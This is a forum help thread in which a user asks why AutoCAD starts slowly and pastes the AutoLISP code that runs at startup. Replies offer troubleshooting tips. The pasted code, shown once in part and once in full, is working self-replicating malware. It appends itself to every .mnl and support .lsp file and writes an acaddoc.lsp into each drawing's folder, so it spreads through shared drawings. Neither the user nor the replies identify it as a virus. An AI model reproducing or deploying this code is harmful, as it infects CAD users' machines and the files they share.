Long AutoCad StartUp Time.

AutoCad always now have to go throught this to startup and so take ages to open a new or existing drawing. What is wrong and how can I correct it?

(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while

bad argument type: streamp nil
Command:

Autodesk DWG. This file is a TrustedDWG last saved by an Autodesk application
or Autodesk licensed application.

▶ Reply to This

Replies to This Discussion

Permalink Reply by akinlolu olugboji on February 27, 2013 at 7:40am

This is happening on all AutoCad (2007, 2012 & 2013) versions on my Laptop

▶ Reply

Permalink Reply by Roy Hirshkowitz on February 27, 2013 at 8:33am

This is not an nXt problem-- so I'm probably going to remove this discussion soon. I'll give people a chance to answer. Something's gone wrong with your startup file. Just scanning this code, it's likely a problem with visual lisp. Try removing it from your startup suite using appload.

▶ Reply

Permalink Reply by akinlolu olugboji on February 27, 2013 at 8:47am

I know it has nothing to do with nxt, just that the response time here is almost immediately and there is a wealth of experience user know avaliable here.

I take this to Autodesk forum and I might not live long enough to get response not to talk of a resolution of the problem.

The visual lisp causing the problem is what I cannot pin down. Removed all non AutoCad lisp from my StartUp Suite and I am still having the problem. Unless there is another way apart from via appload dialog box.

Any other suggestion is welcomed. Thanks in Advance.

▶ Reply

Permalink Reply by akinlolu olugboji on February 27, 2013 at 11:59am

Possible solution but yet to try it.
http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&i...

▶ Reply

Permalink Reply by akinlolu olugboji on March 1, 2013 at 4:39pm

Solution not working for me, uninstalling and re-stalling problem still persist.

▶ Reply

Permalink Reply by Daniel Hargreaves on March 1, 2013 at 6:01pm

Generally slow startups are caused by a missing path or file. Carefully search through your Options and verify every path. Then check your PlotStyles folder, there are shortcuts in there that if the file does not exist it will slow down start up. Lastly verify all files in your StartUp suite, once again, make sure they exist. Uninstalling and re-stalling does not always work, most of these setting are stored in your registry. You need to uninstall, clean out the registry (BIG WARNING!!! KNOW WHAT YOU ARE DOING IF YOU GO DOWN THIS ROUTE) then reinstall.

▶ Reply

RSS

Welcome to
AccuRender nXt

Sign Up
or Sign In

Or sign in with:

Search

Translate

Latest Activity

Thorsten Hedrich replied to Daniel Holz's discussion PBR Textures in nxtRender for Autocad

"Since there is no Ambient Occlusion Slot in 'Texture Set' Mode of the nXt-Material Editor, I found another way around what to do with AO Maps: Baking it into Diffuse; e.g. Multiplying AO Map over Diffuse/Albedo/Colour in…"

Apr 16

OYEBANJI EMMANUEL commented on OYEBANJI EMMANUEL's photo

V1x copy

"Thank you so much. I appreciate your kind words."

Apr 7

Thorsten Hedrich commented on OYEBANJI EMMANUEL's photo

V1x copy

"The wooden texture of the TV-Console looks quite decent. The Wallpaper on the left has an interesting structure, maybe it would look even better, if you make the texture seamless + applying a little bit of depth, e. g. with highpass - filter in PS?"

Apr 6

Thorsten Hedrich posted a photo

thalasso_spa_sw

- little closer to what we thought of -

Apr 1

0 Comments 0 Likes

Thorsten Hedrich replied to Thorsten Hedrich's discussion OBJ Plant Issue - Diffuse Maps

"Thank you for help on this topic! Will test 'Automesher LT' (developed by Automapki), if I run into troubles again. [Sometimes I was wondering about, if this forum is still alive... .]"

Mar 22

OYEBANJI EMMANUEL replied to Thorsten Hedrich's discussion OBJ Plant Issue - Diffuse Maps

"Good day, I searched the former forum posts and found another option to solve this problem which is another plugin to autocad-----AUTOMAPKI. You can give it a try."

Mar 21

Thorsten Hedrich posted a photo

Thallasso_Pre_Study_2_50mm

3ds +obj import works for older files-'xfrog-plants', for instance... .Comments + Critics appreciated!Hopefully accurender still survives!

Mar 4

0 Comments 0 Likes

Thorsten Hedrich replied to Thorsten Hedrich's discussion OBJ Plant Issue - Diffuse Maps

"Found 'Textured Mesh Support' only works with obj and 3ds Files which do not contain PBR Maps. To 'obj' converted newer 3ds do not render in nXt :-("

Feb 21

Badges | Report an Issue | Terms of Service